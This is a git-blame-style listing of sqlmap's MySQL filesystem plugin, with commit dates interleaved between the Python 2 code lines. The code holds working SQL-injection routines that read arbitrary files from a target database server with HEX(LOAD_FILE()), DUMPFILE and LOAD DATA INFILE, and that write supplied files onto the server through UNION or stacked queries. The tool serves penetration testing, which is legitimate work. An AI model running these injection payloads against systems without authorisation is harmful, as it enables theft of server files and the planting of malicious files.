2010-03-23 01:57:57 +03:00
|
|
|
#!/usr/bin/env python
|
|
|
|
|
|
|
|
"""
|
|
|
|
$Id$
|
|
|
|
|
2012-01-11 18:59:46 +04:00
|
|
|
Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/)
|
2010-10-15 03:18:29 +04:00
|
|
|
See the file 'doc/COPYING' for copying permission
|
2010-03-23 01:57:57 +03:00
|
|
|
"""
|
|
|
|
|
2011-09-21 02:16:56 +04:00
|
|
|
from lib.core.common import isNumPosStrValue
|
2010-03-23 01:57:57 +03:00
|
|
|
from lib.core.common import randomStr
|
2011-09-21 02:16:56 +04:00
|
|
|
from lib.core.common import singleTimeWarnMessage
|
|
|
|
from lib.core.common import unArrayizeValue
|
2010-03-23 01:57:57 +03:00
|
|
|
from lib.core.data import conf
|
|
|
|
from lib.core.data import kb
|
|
|
|
from lib.core.data import logger
|
2010-11-08 12:20:02 +03:00
|
|
|
from lib.core.enums import PLACE
|
2010-03-23 01:57:57 +03:00
|
|
|
from lib.core.exception import sqlmapNoneDataException
|
|
|
|
from lib.request import inject
|
2011-06-18 16:34:41 +04:00
|
|
|
from lib.techniques.union.use import unionUse
|
2010-03-23 01:57:57 +03:00
|
|
|
|
|
|
|
from plugins.generic.filesystem import Filesystem as GenericFilesystem
|
|
|
|
|
|
|
|
class Filesystem(GenericFilesystem):
|
|
|
|
def __init__(self):
|
|
|
|
GenericFilesystem.__init__(self)
|
|
|
|
|
|
|
|
def unionReadFile(self, rFile):
|
|
|
|
infoMsg = "fetching file: '%s'" % rFile
|
|
|
|
logger.info(infoMsg)
|
|
|
|
|
|
|
|
result = inject.getValue("SELECT HEX(LOAD_FILE('%s'))" % rFile)
|
|
|
|
|
|
|
|
return result
|
|
|
|
|
|
|
|
def stackedReadFile(self, rFile):
|
|
|
|
infoMsg = "fetching file: '%s'" % rFile
|
|
|
|
logger.info(infoMsg)
|
|
|
|
|
|
|
|
self.createSupportTbl(self.fileTblName, self.tblField, "longtext")
|
|
|
|
self.getRemoteTempPath()
|
|
|
|
|
|
|
|
tmpFile = "%s/tmpf%s" % (conf.tmpPath, randomStr(lowercase=True))
|
|
|
|
|
2011-04-30 17:20:05 +04:00
|
|
|
debugMsg = "saving hexadecimal encoded content of file '%s' " % rFile
|
2010-03-23 01:57:57 +03:00
|
|
|
debugMsg += "into temporary file '%s'" % tmpFile
|
|
|
|
logger.debug(debugMsg)
|
|
|
|
inject.goStacked("SELECT HEX(LOAD_FILE('%s')) INTO DUMPFILE '%s'" % (rFile, tmpFile))
|
|
|
|
|
2011-04-30 17:20:05 +04:00
|
|
|
debugMsg = "loading the content of hexadecimal encoded file "
|
2010-03-23 01:57:57 +03:00
|
|
|
debugMsg += "'%s' into support table" % rFile
|
|
|
|
logger.debug(debugMsg)
|
|
|
|
inject.goStacked("LOAD DATA INFILE '%s' INTO TABLE %s FIELDS TERMINATED BY '%s' (%s)" % (tmpFile, self.fileTblName, randomStr(10), self.tblField))
|
|
|
|
|
2011-12-22 14:32:21 +04:00
|
|
|
length = unArrayizeValue(inject.getValue("SELECT LENGTH(%s) FROM %s" % (self.tblField, self.fileTblName), unique=False, resumeValue=False, charsetType=2))
|
2010-03-23 01:57:57 +03:00
|
|
|
|
2011-09-21 02:16:56 +04:00
|
|
|
if not isNumPosStrValue(length):
|
2011-04-30 17:20:05 +04:00
|
|
|
errMsg = "unable to retrieve the content of the "
|
2010-03-23 01:57:57 +03:00
|
|
|
errMsg += "file '%s'" % rFile
|
|
|
|
raise sqlmapNoneDataException, errMsg
|
|
|
|
|
2011-04-30 17:20:05 +04:00
|
|
|
length = int(length)
|
2010-03-23 01:57:57 +03:00
|
|
|
sustrLen = 1024
|
|
|
|
|
|
|
|
if length > sustrLen:
|
|
|
|
result = []
|
|
|
|
|
2011-10-22 02:34:27 +04:00
|
|
|
for i in xrange(1, length, sustrLen):
|
2011-12-22 14:32:21 +04:00
|
|
|
chunk = inject.getValue("SELECT MID(%s, %d, %d) FROM %s" % (self.tblField, i, sustrLen, self.fileTblName), unpack=False, unique=False, resumeValue=False, charsetType=3)
|
2010-03-23 01:57:57 +03:00
|
|
|
|
|
|
|
result.append(chunk)
|
|
|
|
else:
|
2011-12-22 14:32:21 +04:00
|
|
|
result = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.fileTblName), unique=False, resumeValue=False, charsetType=3)
|
2010-03-23 01:57:57 +03:00
|
|
|
|
|
|
|
return result
|
|
|
|
|
|
|
|
def unionWriteFile(self, wFile, dFile, fileType, confirm=True):
|
|
|
|
logger.debug("encoding file to its hexadecimal string value")
|
|
|
|
|
2011-04-30 17:20:05 +04:00
|
|
|
fcEncodedList = self.fileEncode(wFile, "hex", True)
|
|
|
|
fcEncodedStr = fcEncodedList[0]
|
2010-03-23 01:57:57 +03:00
|
|
|
fcEncodedStrLen = len(fcEncodedStr)
|
|
|
|
|
2010-11-28 21:10:54 +03:00
|
|
|
if kb.injection.place == PLACE.GET and fcEncodedStrLen > 8000:
|
2011-04-30 17:20:05 +04:00
|
|
|
warnMsg = "the injection is on a GET parameter and the file "
|
2010-03-23 01:57:57 +03:00
|
|
|
warnMsg += "to be written hexadecimal value is %d " % fcEncodedStrLen
|
|
|
|
warnMsg += "bytes, this might cause errors in the file "
|
|
|
|
warnMsg += "writing process"
|
|
|
|
logger.warn(warnMsg)
|
|
|
|
|
|
|
|
debugMsg = "exporting the %s file content to file '%s'" % (fileType, dFile)
|
|
|
|
logger.debug(debugMsg)
|
|
|
|
|
|
|
|
sqlQuery = "%s INTO DUMPFILE '%s'" % (fcEncodedStr, dFile)
|
2011-02-12 02:35:45 +03:00
|
|
|
unionUse(sqlQuery, unpack=False)
|
2010-03-23 01:57:57 +03:00
|
|
|
|
|
|
|
if confirm:
|
|
|
|
self.askCheckWrittenFile(wFile, dFile, fileType)
|
|
|
|
|
2011-06-07 19:13:51 +04:00
|
|
|
warnMsg = "expect junk characters inside the "
|
|
|
|
warnMsg += "file as a leftover from UNION query"
|
2011-06-08 18:35:23 +04:00
|
|
|
singleTimeWarnMessage(warnMsg)
|
2011-06-07 19:13:51 +04:00
|
|
|
|
2010-03-23 01:57:57 +03:00
|
|
|
def stackedWriteFile(self, wFile, dFile, fileType, confirm=True):
|
2011-04-30 17:20:05 +04:00
|
|
|
debugMsg = "creating a support table to write the hexadecimal "
|
2010-03-23 01:57:57 +03:00
|
|
|
debugMsg += "encoded file to"
|
|
|
|
logger.debug(debugMsg)
|
|
|
|
|
|
|
|
self.createSupportTbl(self.fileTblName, self.tblField, "longblob")
|
|
|
|
|
|
|
|
logger.debug("encoding file to its hexadecimal string value")
|
|
|
|
fcEncodedList = self.fileEncode(wFile, "hex", False)
|
|
|
|
|
2011-04-30 17:20:05 +04:00
|
|
|
debugMsg = "forging SQL statements to write the hexadecimal "
|
2010-03-23 01:57:57 +03:00
|
|
|
debugMsg += "encoded file to the support table"
|
|
|
|
logger.debug(debugMsg)
|
|
|
|
|
|
|
|
sqlQueries = self.fileToSqlQueries(fcEncodedList)
|
|
|
|
|
|
|
|
logger.debug("inserting the hexadecimal encoded file to the support table")
|
|
|
|
|
|
|
|
for sqlQuery in sqlQueries:
|
|
|
|
inject.goStacked(sqlQuery)
|
|
|
|
|
|
|
|
debugMsg = "exporting the %s file content to file '%s'" % (fileType, dFile)
|
|
|
|
logger.debug(debugMsg)
|
|
|
|
|
|
|
|
# Reference: http://dev.mysql.com/doc/refman/5.1/en/select.html
|
|
|
|
inject.goStacked("SELECT %s FROM %s INTO DUMPFILE '%s'" % (self.tblField, self.fileTblName, dFile), silent=True)
|
|
|
|
|
|
|
|
if confirm:
|
|
|
|
self.askCheckWrittenFile(wFile, dFile, fileType)
|